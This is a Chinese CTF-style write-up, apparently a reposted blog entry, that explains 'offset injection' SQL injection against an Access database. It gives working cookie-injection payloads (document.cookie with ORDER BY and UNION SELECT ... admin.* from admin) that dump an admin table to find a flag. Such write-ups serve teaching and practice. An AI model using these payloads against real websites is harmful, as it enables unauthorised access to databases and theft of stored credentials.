ACCESS——偏移注入
程序员文章站
2022-05-15 09:15:33
...
偏移注入(其他数据库也可以)
原理:在SQL注入的时候会遇到一些无法查询列名的问题,比如系统自带数据库的权限不够而无法访问系统自带库。当你猜到表名无法猜到字段名的情况下,我们可以使用偏移注入来查询那张表里面的数据。table_name.来查询,因为是通配符,可以查询到里面所有的数据,但是有长度限制,如果字段数小于表内数据数那就无法用
第一题:
我们先尝试url栏是否存在显错输入
很明显不存在,于是我们尝试cookie注入
按F12进入控制台,删掉URL栏的GET传参,在控制台输入代码
document.cookie="id="+escape("171")
发现得到了执行
于是,继续查字段数document.cookie="id="+escape("171 order by 10")
但是在
document.cookie="id="+escape("171 order by 11)
的时候就没有了数据,于是判定字段名为10个。
继续输入代码
document.cookie="id="+escape("171 union select 1,2,3,4,5,6,7,8,9,10 from admin")
找到输出点2,7,8,9
我们尝试**表名
得到其中一个表名admin
但是我们发现一个个试无法得到它的字段名,于是换到其他页面,看看有没有字段数较多的
发现有一个网站与26个字段
document.cookie="id="+escape("105 order by 26")
输入代码
document.cookie="id="+escape("105 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 from admin")
判断输出点3,5,7
然后输入admin.*
document.cookie="id="+escape("105 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,admin.* from admin")
…
document.cookie="id="+escape("105 union select 1,2,3,4,5,6,7,8,9,10,admin.* from admin")
最后得出存在16个字段
我们发现输出点在3,5,7
于是把admin.*切换到3
document.cookie="id="+escape("105 union select 1,2,admin.*,4,5,6,7,8,9,10,11 from admin")
但是发现,它只能输出前7个数据,无法查询后面的数据,查询前7个,并没有发现flag ,查看html里面有没有隐藏的输出点
果然发现存在一个输出点,我们查看查看后面几个字段数据,是否存在flag
我们继续一个个试,找到了flag